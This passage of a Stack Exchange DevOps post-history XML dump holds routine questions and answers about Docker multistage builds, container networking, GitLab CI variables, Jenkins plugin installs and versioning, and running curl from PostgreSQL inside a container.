  <row Id="37713" PostHistoryTypeId="5" PostId="12266" RevisionGUID="eda8681d-7a06-48df-bfef-e859048b198e" CreationDate="2020-08-25T10:52:49.390" UserId="8727" Comment="Added: using `localhost` as mongodb hostname" Text="You can run your flask container using the host networking mode. This way docker won't isolate the container and will run it the same network namespace as the host, and you container will be able to discover your database using `localhost` as mongodb hostname&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --network host &lt;flask-image&gt;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37714" PostHistoryTypeId="24" PostId="12266" RevisionGUID="eda8681d-7a06-48df-bfef-e859048b198e" CreationDate="2020-08-25T10:52:49.390" Comment="Proposed by 8727 approved by 23680 edit id of 1268" ContentLicense="CC BY-SA 4.0" />
  <row Id="37715" PostHistoryTypeId="2" PostId="12267" RevisionGUID="e2273c4e-9872-4259-be5a-fa7fc696c3fe" CreationDate="2020-08-25T12:14:05.997" UserId="23679" Text="I'm new to Docker, sorry if my question sounds dumb. &#xD;&#xA;below is a dockerfile from a textbook shows how multistage build works:&#xD;&#xA;```&#xD;&#xA;FROM diamol/base AS build-stage                  &#xD;&#xA;RUN echo 'Building...' &gt; /build.txt              &#xD;&#xA;&#xD;&#xA;FROM diamol/base AS test-stage&#xD;&#xA;COPY --from=build-stage /build.txt /build.txt&#xD;&#xA;RUN echo 'Testing...' &gt;&gt; /build.txt             &#xD;&#xA;&#xD;&#xA;FROM diamol/base&#xD;&#xA;COPY --from=test-stage /build.txt /build.txt&#xD;&#xA;CMD cat /build.txt&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My questions is:&#xD;&#xA;&#xD;&#xA;Why use multiple From instructions? why we don't do sth like:&#xD;&#xA;```&#xD;&#xA;FROM diamol/base AS build-stage                  &#xD;&#xA;RUN echo 'Building...' &gt; /build.txt              &#xD;&#xA;&#xD;&#xA;COPY --from=build-stage /build.txt /build.txt&#xD;&#xA;RUN echo 'Testing...' &gt;&gt; /build.txt             &#xD;&#xA;&#xD;&#xA;COPY --from=test-stage /build.txt /build.txt&#xD;&#xA;CMD cat /build.txt&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37716" PostHistoryTypeId="1" PostId="12267" RevisionGUID="e2273c4e-9872-4259-be5a-fa7fc696c3fe" CreationDate="2020-08-25T12:14:05.997" UserId="23679" Text="why use multiple From instructions in multistage build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37717" PostHistoryTypeId="3" PostId="12267" RevisionGUID="e2273c4e-9872-4259-be5a-fa7fc696c3fe" CreationDate="2020-08-25T12:14:05.997" UserId="23679" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37720" PostHistoryTypeId="2" PostId="12268" RevisionGUID="41ef1d48-78be-48eb-8a75-6e0ad0cd7926" CreationDate="2020-08-25T12:55:35.433" UserId="23679" Text="Below is the dockerfile that creates an image:&#xD;&#xA;```&#xD;&#xA;FROM diamol/base AS build-stage                  &#xD;&#xA;RUN echo 'Building...' &gt; /build.txt             &#xD;&#xA;&#xD;&#xA;FROM diamol/base AS test-stage&#xD;&#xA;COPY --from=build-stage /build.txt /build.txt&#xD;&#xA;RUN echo 'Testing...' &gt;&gt; /build.txt              &#xD;&#xA;&#xD;&#xA;FROM diamol/base&#xD;&#xA;COPY --from=test-stage /build.txt /build.txt&#xD;&#xA;RUN echo 'Done...' &gt;&gt; /build.txt               &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and my understanding is, the final image consists layers of diamol/base and the layer created after the last RUN command as picture below shows:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/TE7Z5.png&#xD;&#xA;&#xD;&#xA;Is my understanding correct?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37721" PostHistoryTypeId="1" PostId="12268" RevisionGUID="41ef1d48-78be-48eb-8a75-6e0ad0cd7926" CreationDate="2020-08-25T12:55:35.433" UserId="23679" Text="what's the final output image in multistage build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37722" PostHistoryTypeId="3" PostId="12268" RevisionGUID="41ef1d48-78be-48eb-8a75-6e0ad0cd7926" CreationDate="2020-08-25T12:55:35.433" UserId="23679" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37729" PostHistoryTypeId="2" PostId="12271" RevisionGUID="173db5da-2b34-49d4-b606-f3356ed67d32" CreationDate="2020-08-25T18:48:17.960" UserId="12864" Text="The final image will have all the layers from `diamol/base` as well as two additional layers - one for COPY and one for RUN command.&#xA;&#xA;File `/build.txt` will have the following contents:&#xA;&#xA;    Building...&#xA;    Testing...&#xA;    Done..." ContentLicense="CC BY-SA 4.0" />
  <row Id="37733" PostHistoryTypeId="2" PostId="12273" RevisionGUID="5ff90f9f-5f52-410d-b679-01a3f565020d" CreationDate="2020-08-25T19:14:24.083" UserId="12864" Text="From the point of view of your MongoDB instance and your Flask app they're running on separate servers, so the steps to make the former visible to the latter are the same as if they were running on two different physical servers.&#xA;&#xA;1. Check if the servers are on the same LAN - they are (docker bridge network).&#xA;&#xA;2. Find if MongoDB is configured to listen on all network interfaces. If not either configure it to do so or to listen on the interface that is connected to the LAN both servers have in common.&#xA;&#xA;3. If you haven't already, find what IP your MongoDB server has on the common LAN  and set Flask app to use it to connect to the database.&#xA;&#xA;4. Optionally, if your MongoDB server has a firewall, make sure that whatever port MongoDB is listening on is not blocked." ContentLicense="CC BY-SA 4.0" />
  <row Id="37743" PostHistoryTypeId="2" PostId="12277" RevisionGUID="853d3d8d-db65-489d-9f0d-d1215e1766e8" CreationDate="2020-08-26T10:10:34.140" UserId="23705" Text="I have to deploy my fullstack application on premise so cloud is out of the question. But I have to specify what hardware do I need to run my application. Just to be safe I wanted to ask for 16GB of RAM and 100 GB of storage on ubuntu machine. But my friends says it's way too much.&#xD;&#xA;&#xD;&#xA;I have been looking for answer everywhere on the internet but it's like nobody deals with dev ops, everybody just writes applications and that's it. Or they host them on something like heroku.&#xD;&#xA;&#xD;&#xA;In summary, what's minimum hardware to run postgresql + spring + react application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37744" PostHistoryTypeId="1" PostId="12277" RevisionGUID="853d3d8d-db65-489d-9f0d-d1215e1766e8" CreationDate="2020-08-26T10:10:34.140" UserId="23705" Text="Minimum postgresql + spring + react hardware requirements" ContentLicense="CC BY-SA 4.0" />
  <row Id="37745" PostHistoryTypeId="3" PostId="12277" RevisionGUID="853d3d8d-db65-489d-9f0d-d1215e1766e8" CreationDate="2020-08-26T10:10:34.140" UserId="23705" Text="&lt;postgresql&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37746" PostHistoryTypeId="5" PostId="12277" RevisionGUID="24baba20-20bd-4ffe-917f-a74dde9ec4af" CreationDate="2020-08-26T10:19:19.577" UserId="23705" Comment="added 80 characters in body" Text="I have to deploy my postgresql + spring + react fullstack application on premise so cloud is out of the question. It's going to be used by around 15 users at a time. But I have to specify what hardware do I need to run my application. Just to be safe I wanted to ask for 16GB of RAM and 100 GB of storage on ubuntu machine. But my friends says it's way too much.&#xD;&#xA;&#xD;&#xA;I have been looking for answer everywhere on the internet but it's like nobody deals with dev ops, everybody just writes applications and that's it. Or they host them on something like heroku.&#xD;&#xA;&#xD;&#xA;In summary, what's minimum hardware to run postgresql + spring + react application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37747" PostHistoryTypeId="2" PostId="12278" RevisionGUID="3bb93784-26f1-4182-afa5-90912906127a" CreationDate="2020-08-26T10:44:16.857" UserId="12864" Text="First of all, you don't need the COPY instructions or multiple RUN instructions if you have only one stage:&#xA;&#xA;    FROM diamol/base AS build-stage&#xA;    RUN echo 'Building...' &gt; /build.txt &amp;&amp; echo 'Testing...' &gt;&gt; /build.txt&#xA;    CMD cat /build.txt&#xA;&#xA;Of course, the textbook example is just that - an example to illustrate the concept.&#xA;&#xA;In reality multistage builds are used to create smaller final images, while keeping the entire build process inside the container.&#xA;&#xA;Generally speaking one may install all development and runtime dependencies in a build stage, then copy just the final distribution package to the final stage, where only runtime dependencies are installed to reduce the final image size.&#xA;&#xA;For example:&#xA;&#xA;    FROM ubuntu:latest AS base&#xA;    RUN apt -y install some-library&#xA;    &#xA;    FROM base AS build&#xA;    RUN apt -y install some-library-dev&#xA;    COPY . /src&#xA;    WORKDIR /src&#xA;    RUN make &amp;&amp; make install&#xA;    &#xA;    FROM base&#xA;    COPY --from=build /usr/bin/app /usr/bin/app&#xA;    CMD /usr/bin/app" ContentLicense="CC BY-SA 4.0" />
  <row Id="37752" PostHistoryTypeId="2" PostId="12280" RevisionGUID="01bb3437-ad85-4d1b-8c3f-e67968404aa3" CreationDate="2020-08-26T18:15:24.070" UserId="23715" Text="I have a nodeJS application which I deploy with Gitlab CI.&#xD;&#xA;When pushing to branch XYZ, the corresponding script runs, let's assume on stage 'dev'. That's working.&#xD;&#xA;So far so good.&#xD;&#xA;Is it possible to select a specific branch so that instead of branch XYZ, e.g. Branch FOO can be deployed on 'dev' without having to change the gitlab-ci.yml file every time?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37753" PostHistoryTypeId="1" PostId="12280" RevisionGUID="01bb3437-ad85-4d1b-8c3f-e67968404aa3" CreationDate="2020-08-26T18:15:24.070" UserId="23715" Text="Gitlab CI - Change branch dynamically" ContentLicense="CC BY-SA 4.0" />
  <row Id="37754" PostHistoryTypeId="3" PostId="12280" RevisionGUID="01bb3437-ad85-4d1b-8c3f-e67968404aa3" CreationDate="2020-08-26T18:15:24.070" UserId="23715" Text="&lt;gitlab&gt;&lt;cicd&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37755" PostHistoryTypeId="2" PostId="12281" RevisionGUID="5640a0a7-b2dd-467a-ba3b-bfbe6a1a62b2" CreationDate="2020-08-26T18:15:36.473" UserId="10769" Text="The problem is a typo in your build command:&#xD;&#xA;&#xD;&#xA;&gt; docker build -f webserver .&#xD;&#xA;&#xD;&#xA;what's the webserver file you are using for that build if the script is described in the Dockerfile?&#xD;&#xA;BTW I have built your image and there is no interactive menu appeared, so just build it))&#xD;&#xA;&#xD;&#xA;```docker build .```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37756" PostHistoryTypeId="2" PostId="12282" RevisionGUID="293c4b86-962e-4c71-9ca2-78a40c6306a0" CreationDate="2020-08-26T19:35:30.677" UserId="23716" Text="Jenkins monitors my develop branch in git and builds a new package when it's updated. The problem I'm having is that it uses the same version, specified in setup.py. pypi-server doesn't seem to have a concept of snapshot builds, so I have to either update the version manually every time, or twine will refuse to upload it.&#xD;&#xA;&#xD;&#xA;Theoretically, there could be a build step that checks the version and increments it, but I'm hoping that someone has already done this work and published it somewhere.&#xD;&#xA;&#xD;&#xA;Has anyone seen something like this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37757" PostHistoryTypeId="1" PostId="12282" RevisionGUID="293c4b86-962e-4c71-9ca2-78a40c6306a0" CreationDate="2020-08-26T19:35:30.677" UserId="23716" Text="How do I use Jenkins to maintain versioning on a Python project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37758" PostHistoryTypeId="3" PostId="12282" RevisionGUID="293c4b86-962e-4c71-9ca2-78a40c6306a0" CreationDate="2020-08-26T19:35:30.677" UserId="23716" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37759" PostHistoryTypeId="2" PostId="12283" RevisionGUID="9b251c52-e3f5-40ec-99ba-3565e1f12ac2" CreationDate="2020-08-26T20:00:54.283" UserId="349" Text="Instead of hard-coding your branch name in `.gitlab-ci.yml` use `$CI_COMMIT_REF_NAME`. There are a bunch of pre-set environment variables you can use to get info about the current job. &#xD;&#xA;&#xD;&#xA;The gitlab documentation has a list of them: https://docs.gitlab.com/ee/ci/variables/predefined_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37760" PostHistoryTypeId="2" PostId="12284" RevisionGUID="c233ef16-225d-49b1-b2b8-98e83469e26b" CreationDate="2020-08-26T20:19:02.317" UserId="354" Text="If you follow [Semantic Versioning](https://semver.org/) you could achieve this as a step in the pipeline using [Semantic Release](https://libraries.io/pypi/python-semantic-release).&#xD;&#xA;&#xD;&#xA;This and the [original tool it's based on](https://semantic-release.gitbook.io/semantic-release/) are designed for automated releases as part of a continuous integration and delivery pipeline. From [the docs](https://python-semantic-release.readthedocs.io/en/latest/automatic-releases/index.html):&#xD;&#xA;&#xD;&#xA;&gt; The key point with using this package is to automate your releases and stop worrying about version numbers. Different approaches to automatic releases and publishing with the help of this package can be found below. Using a CI is the recommended approach.&#xD;&#xA;&#xD;&#xA;In your case the workflow would be to do all the testing in pull request, and then when they are merged, a step in the `develop` branch would run `semantic-release publish`. Again, referencing the docs, this does the following actions:&#xD;&#xA;&#xD;&#xA;&gt; Publish will do a sequence of things:&#xD;&#xA;&gt; - Run semantic-release version.&#xD;&#xA;&gt; - Push changes to git.&#xD;&#xA;&gt; - Run build_command and upload the created files to PyPI.&#xD;&#xA;&gt; - Run semantic-release changelog and post to your vcs provider.&#xD;&#xA;&gt; - Attach the files created by build_command to GitHub releases.&#xD;&#xA;&#xD;&#xA;Part of the benefit of having this included in the pipeline is maintaining a clear and consistent changelog, with the help of a commit message linter like [committizen](https://github.com/commitizen-tools/commitizen).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37761" PostHistoryTypeId="6" PostId="12282" RevisionGUID="e9d9d5c2-786a-4996-8347-dca8b11c6257" CreationDate="2020-08-26T20:20:03.063" UserId="354" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;continuous-deployment&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37765" PostHistoryTypeId="2" PostId="12286" RevisionGUID="4b116ea2-45e3-4ff6-8cca-056b630dca1c" CreationDate="2020-08-27T13:34:17.127" UserId="23730" Text="It's hard to tell, this kind of thing comes with experience but I'm sure 4 GB of RAM and 20 GB of disk storage will be enough." ContentLicense="CC BY-SA 4.0" />
  <row Id="37772" PostHistoryTypeId="2" PostId="12289" RevisionGUID="6dd00b51-c465-40c4-beb9-2883af29ff73" CreationDate="2020-08-27T14:54:12.880" UserId="23731" Text="Using ```COPY table FROM PROGRAM 'curl &quot;www.example.com/data.csv&quot;';``` I am able to copy a CSV directly from the web into a psql table. &#xD;&#xA;&#xD;&#xA;However, when I am running the same command from inside a docker container I get the following error:  &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;COPY sites FROM PROGRAM 'curl &quot;www.example.com/data.csv&quot;'; &#xD;&#xA;ERROR:  program &quot;curl &quot;www.example.com/data.csv&quot;&quot; failed&#xD;&#xA;DETAIL:  command not found&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Obviously curl is not available in the containerized environment. Therefore I changed my Postgres Docker image from ```image: postgres:12-alpine``` to ```image: postgres-12```. Unfortunately I still get the same error. &#xD;&#xA;&#xD;&#xA;How can include the ```curl``` command in a containerized PostgreSQL Docker environment? &#xD;&#xA;&#xD;&#xA;This is my docker-compose file: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3.7'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  web:&#xD;&#xA;    build:&#xD;&#xA;      context: ./services/web&#xD;&#xA;      dockerfile: Dockerfile.prod&#xD;&#xA;    command: gunicorn --bind 0.0.0.0:5000 manage:app&#xD;&#xA;    volumes:&#xD;&#xA;      - static_volume:/home/app/web/project/static&#xD;&#xA;      - media_volume:/home/app/web/project/media&#xD;&#xA;    expose:&#xD;&#xA;      - 5000&#xD;&#xA;    env_file:&#xD;&#xA;      - ./.env.prod&#xD;&#xA;    depends_on:&#xD;&#xA;      - db&#xD;&#xA;  db:&#xD;&#xA;    image: postgres:12&#xD;&#xA;    volumes:&#xD;&#xA;      - postgres_data:/var/lib/postgresql/data/&#xD;&#xA;    env_file:&#xD;&#xA;      - ./.env.prod.db&#xD;&#xA;  nginx:&#xD;&#xA;    build: ./services/nginx&#xD;&#xA;    volumes:&#xD;&#xA;      - static_volume:/home/app/web/project/static&#xD;&#xA;      - media_volume:/home/app/web/project/media&#xD;&#xA;    ports:&#xD;&#xA;      - 1337:80&#xD;&#xA;    depends_on:&#xD;&#xA;      - web&#xD;&#xA;Include curl commands in a PostgreSQL Docker environment&#xD;&#xA;volumes:&#xD;&#xA;  postgres_data:&#xD;&#xA;  static_volume:&#xD;&#xA;  media_volume:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37773" PostHistoryTypeId="1" PostId="12289" RevisionGUID="6dd00b51-c465-40c4-beb9-2883af29ff73" CreationDate="2020-08-27T14:54:12.880" UserId="23731" Text="Include curl commands in a PostgreSQL Docker environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="37774" PostHistoryTypeId="3" PostId="12289" RevisionGUID="6dd00b51-c465-40c4-beb9-2883af29ff73" CreationDate="2020-08-27T14:54:12.880" UserId="23731" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;databases&gt;&lt;images&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37784" PostHistoryTypeId="5" PostId="12282" RevisionGUID="05ffbe3f-1036-46ca-87e8-12be1d6e1477" CreationDate="2020-08-28T00:26:31.010" UserId="23716" Comment="deleted 11 characters in body" Text="An independent Jenkins server monitors my develop branch in Team Foundation Server's Git repository and builds a new package when it's updated. The problem I'm having is that it uses the same version, specified in setup.py. I could configure pypi-server to allow overwrites, but prefer to maintain build history.&#xD;&#xA;&#xD;&#xA;Theoretically, there could be a build step that checks the version and increments it, but I'm hoping that someone has already done this work and published it somewhere.&#xD;&#xA;&#xD;&#xA;Has anyone seen something like this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37786" PostHistoryTypeId="2" PostId="12293" RevisionGUID="17f747ac-79c1-4b74-a877-410344adfe1b" CreationDate="2020-08-28T07:43:34.177" UserId="15134" Text="One way to use curl inside the container will be to use a custom Dockerfile to build you postgrsql container.&#xD;&#xA;Just use the `image: postgres:12-alpine` as the base image of your Dockerfile and install curl in alpine with the following command : `RUN apk --no-cache add curl`" ContentLicense="CC BY-SA 4.0" />
  <row Id="37787" PostHistoryTypeId="2" PostId="12294" RevisionGUID="8337c3a1-f6ff-4b26-994b-4dfab800af42" CreationDate="2020-08-28T09:12:12.200" UserId="23250" Text="Load balancing will route the requests across tasks while autoscaling will increase or decrease the number of tasks based on the traffic." ContentLicense="CC BY-SA 4.0" />
  <row Id="37788" PostHistoryTypeId="5" PostId="12294" RevisionGUID="02defc12-224a-40a7-aae0-18f46802a50b" CreationDate="2020-08-28T09:27:53.323" UserId="23250" Comment="added 309 characters in body" Text="Load balancing will route the requests across tasks while autoscaling will increase or decrease the number of tasks based on the traffic.&#xD;&#xA;&#xD;&#xA;starting new tasks when cpu threshold exceed is autoscaling, this can be setup with cloudwatch events.&#xD;&#xA;&#xD;&#xA;you can load balance services based on rules and then route them to target groups. [read here][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37789" PostHistoryTypeId="2" PostId="12295" RevisionGUID="0979379a-c27d-4013-97d8-15e7938ef7a9" CreationDate="2020-08-28T10:37:57.807" UserId="23741" Text="I am trying to create a custom Jenkins docker image. For that I need to install certain plugins in Jenkins. I am doing so by adding the below lines to the Dockerfile &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;COPY plugins.txt /usr/share/jenkins/ref/&#xD;&#xA;&#xD;&#xA;ENV CURL_CONNECTION_TIMEOUT=60&#xD;&#xA;RUN /usr/local/bin/install-plugins.sh &lt; /usr/share/jenkins/ref/plugins.txt&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My plugins.txt looks like this - &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;configuration-as-code&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;I had more plugins in the list but seems like I am unable to install even if there is only one.&#xD;&#xA;&#xD;&#xA;The full error message that I receive is - &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Creating initial locks...&#xD;&#xA;Analyzing war /usr/share/jenkins/jenkins.war...&#xD;&#xA;Registering preinstalled plugins...&#xD;&#xA;Using version-specific update center: https://updates.jenkins.io/2.235...&#xD;&#xA;Downloading plugins...&#xD;&#xA;Downloading plugin: configuration-as-code from https://updates.jenkins.io/2.235/latest/configuration-as-code.hpi&#xD;&#xA;curl: (16) Error in the HTTP2 framing layer&#xD;&#xA;15:34:43 Failure (16) Retrying in 1 seconds...&#xD;&#xA; &gt; configuration-as-code depends on snakeyaml-api:1.26.3&#xD;&#xA;Downloading plugin: snakeyaml-api from https://updates.jenkins.io/2.235/latest/snakeyaml-api.hpi&#xD;&#xA;curl: (16) Error in the HTTP2 framing layer&#xD;&#xA;15:35:39 Failure (16) Retrying in 1 seconds...&#xD;&#xA;curl: (16) Error in the HTTP2 framing layer&#xD;&#xA;15:35:52 Failure (16) Retrying in 1 seconds...&#xD;&#xA;curl: (16) Error in the HTTP2 framing layer&#xD;&#xA;15:36:05 Failure (16) Retrying in 1 seconds...&#xD;&#xA;15:36:06 Failed in the last attempt (curl -sSfL --connect-timeout 60 --retry 3 --retry-delay 0 --retry-max-time 60 https://updates.jenkins.io/2.235/latest/snakeyaml-api.hpi -o /usr/share/jenkins/ref/plugins/snakeyaml-api.jpi)&#xD;&#xA;Downloading plugin: snakeyaml-api-plugin from https://updates.jenkins.io/2.235/latest/snakeyaml-api-plugin.hpi&#xD;&#xA;curl: (22) The requested URL returned error: 404 Not Found&#xD;&#xA;15:36:08 Failure (22) Retrying in 1 seconds...&#xD;&#xA;curl: (22) The requested URL returned error: 404 Not Found&#xD;&#xA;15:36:11 Failure (22) Retrying in 1 seconds...&#xD;&#xA;curl: (22) The requested URL returned error: 404 Not Found&#xD;&#xA;15:36:14 Failure (22) Retrying in 1 seconds...&#xD;&#xA;15:36:15 Failed in the last attempt (curl -sSfL --connect-timeout 60 --retry 3 --retry-delay 0 --retry-max-time 60 https://updates.jenkins.io/2.235/latest/snakeyaml-api-plugin.hpi -o /usr/share/jenkins/ref/plugins/snakeyaml-api-plugin.jpi)&#xD;&#xA;Failed to download plugin: snakeyaml-api or snakeyaml-api-plugin&#xD;&#xA;&#xD;&#xA;WAR bundled plugins:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Installed plugins:&#xD;&#xA;configuration-as-code:1.43&#xD;&#xA;snakeyaml-api:1.26.4&#xD;&#xA;Some plugins failed to download! Not downloaded: snakeyaml-api&#xD;&#xA;The command '/bin/sh -c /usr/local/bin/install-plugins.sh &lt; /usr/share/jenkins/ref/plugins.txt' returned a non-zero code: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Curl tries to download `snakeyaml-api-plugin` when `snakeyaml-api` fails. The latter is not being downloaded due to the error `curl: (16) Error in the HTTP2 framing layer`&#xD;&#xA;&#xD;&#xA;For multiple plugins, I get the HTTP2 framing layer error multiple times. Many a times, the installation gets stuck at a point without any progress&#xD;&#xA;&#xD;&#xA;You can look into the shell script `install-plugins.sh` [here](https://github.com/jenkinsci/docker/blob/master/install-plugins.sh) &#xD;&#xA;&#xD;&#xA;Tested on Windows 10 as well as MacOS Mojave&#xD;&#xA;Docker version -  19.03.12" ContentLicense="CC BY-SA 4.0" />
  <row Id="37790" PostHistoryTypeId="1" PostId="12295" RevisionGUID="0979379a-c27d-4013-97d8-15e7938ef7a9" CreationDate="2020-08-28T10:37:57.807" UserId="23741" Text="Curl Error in HTTP2 framing layer when trying to install Jenkins plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="37791" PostHistoryTypeId="3" PostId="12295" RevisionGUID="0979379a-c27d-4013-97d8-15e7938ef7a9" CreationDate="2020-08-28T10:37:57.807" UserId="23741" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;curl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37798" PostHistoryTypeId="50" PostId="11200" RevisionGUID="e2a26e2d-519e-438a-b90b-26addfc4fb46" CreationDate="2020-08-28T15:07:50.873" UserId="-1" />
  <row Id="37800" PostHistoryTypeId="50" PostId="4118" RevisionGUID="836d9983-ea5d-4cd1-8aa2-91a8f978f32a" CreationDate="2020-08-28T18:05:20.693" UserId="-1" />
  <row Id="37801" PostHistoryTypeId="2" PostId="12298" RevisionGUID="6116d279-329c-4195-8ec2-50aa7a23346c" CreationDate="2020-08-28T21:27:14.880" UserId="12864" Text="If HTTP/2 is not working try forcing HTTP 1.1:&#xD;&#xA;&#xD;&#xA;    COPY plugins.txt /usr/share/jenkins/ref/&#xD;&#xA;    &#xD;&#xA;    ENV CURL_OPTIONS -sSfL --http1.1&#xD;&#xA;    ENV CURL_CONNECTION_TIMEOUT 60&#xD;&#xA;    RUN /usr/local/bin/install-plugins.sh &lt; /usr/share/jenkins/ref/plugins.txt" ContentLicense="CC BY-SA 4.0" />
  <row Id="37802" PostHistoryTypeId="2" PostId="12299" RevisionGUID="e6a0a9a0-3404-48da-a71d-9e4386acbd86" CreationDate="2020-08-28T22:01:26.513" UserId="23748" Text="I am currently learning about CI/CD pipelines for DevOps. I have some practice implementing them in some basic scenarios, but I've recently encountered a slightly more complex scenario and I'm not sure the best way to integrate CI/CD pipelines into this project.&#xD;&#xA;&#xD;&#xA;### The Scenario&#xD;&#xA;&#xD;&#xA;The client and the development team have agreed to work in 2 week sprints. Once the sprint has ended, the client's management team wants 1 week to play with the sprint delivery in a sandbox environment (we'll call it `UAT`) before it is released to production (`PROD`). This means that releases to `PROD` happen on &quot;off weeks&quot; from a sprint perspective, if they happen at all for that sprint. If the customer is unhappy with something they'll ask us to not deploy to prod until the issue is resolved. We still continue working in sprints, we just don't release that sprint to `PROD`.&#xD;&#xA;&#xD;&#xA;### Question&#xD;&#xA;&#xD;&#xA;Clearly the *naive* CI/CD pipeline approach doesn't work here since most code changes aren't expected to make it straight down a pipeline to `PROD`. In light of this, **what is the best approach here for a team that is still interested in utilizing pipelines as much as possible?**&#xD;&#xA;&#xD;&#xA;### Some Thoughts&#xD;&#xA;&#xD;&#xA;- We could use a single pipeline with manual approval steps prior to the `UAT` portion and then again prior the `PROD` portion. This has the benefit of being a single pipeline, so a single build artifact progresses through the entire pipeline, which seems to be a best practice. The problem is that most things that enter the pipeline are going to get hung up at a manual approval step. Most pipeline runs will then either be stalled or marked as failed.&#xD;&#xA;&#xD;&#xA;- We could use 2 pipelines. One is totally CI/CD with `DEV` and `STAGING` environments. Every two weeks, a separate pipeline would be manually started (or started by some other release mechanism associated with SCM like tagging or merging). This would be in charge of rebuilding, retesting, and deploying to `UAT` and `PROD`.&#xD;&#xA;&#xD;&#xA;If it's relevant, jenkins would be the pipeline of choice.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37803" PostHistoryTypeId="1" PostId="12299" RevisionGUID="e6a0a9a0-3404-48da-a71d-9e4386acbd86" CreationDate="2020-08-28T22:01:26.513" UserId="23748" Text="CI/CD pipeline with manual advancement?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37804" PostHistoryTypeId="3" PostId="12299" RevisionGUID="e6a0a9a0-3404-48da-a71d-9e4386acbd86" CreationDate="2020-08-28T22:01:26.513" UserId="23748" Text="&lt;jenkins-pipeline&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37806" PostHistoryTypeId="2" PostId="12300" RevisionGUID="4385b99a-f5b7-4f4e-98de-7ce99e4acd41" CreationDate="2020-08-29T14:35:05.353" UserId="7730" Text="The &quot;D&quot; in CI/CD means different things to different people, either delivery or deployment. For both groups, it rarely means release everything immediately to production. For the delivery group, the output of CI/CD is an artifact that *can* be deployed. For the deployment group, there are typically gates in pipelines with either automatic or manual checks before deployment happens. Automatic gates include the unit tests, CI tests, but also things like canary releases with monitoring of key metrics.&#xD;&#xA;&#xD;&#xA;Manual approvals in Jenkins involve adding an [input step](https://www.jenkins.io/doc/pipeline/steps/pipeline-input-step/) to your pipeline. E.g.&#xD;&#xA;&#xD;&#xA;    input([message: &quot;Ready to continue?&quot;])&#xD;&#xA;&#xD;&#xA;In my experience, having various stalled pipelines waiting for user approval is fairly common. I often include timeouts to clear out stale prompts, and sometimes I configure old prompts to automatically cancel with a more recent pipeline is approved to reduce the workload on users. If you do the latter, you may want to have a separate pipeline for backout/revert jobs since that would otherwise being a new job that gets promoted to production in an emergency and aborts all the other work in progress.&#xD;&#xA;&#xD;&#xA;I still like to separate my builds from deploys with separate pipelines. It gives developers better feedback with their CI pipelines of what's working. Then the deployment team picks from a list of automatically queued up deployment jobs that were automatically triggered from those successful CI jobs." ContentLicense="CC BY-SA 4.0" />
  <row Id="37807" PostHistoryTypeId="2" PostId="12301" RevisionGUID="239fab47-a278-44c0-b670-3eb8aa93940c" CreationDate="2020-08-29T15:27:18.540" UserId="23722" Text="We are using Jenkins Freestyle Project to push the changes on the remote server. We are executing shell script on remote host using ssh for it. To pull the changes on remote host, we are using origin url with git username and git password. The credentials should not be visible in plain text in the url that's why we have stored them in variables using 'secret text(s) or file(s)' option of 'Build Environment'.&#xD;&#xA;&#xD;&#xA;At the Jenkin's end it is working as it is expected. The git credentials are not visible to the users who are using Jenkins for other projects but we are facing issue on the remote server where project was deployed. The remote server is showing git credentials in plain text. Any user with ssh access of the remote server is able to run the git reflog command in the project 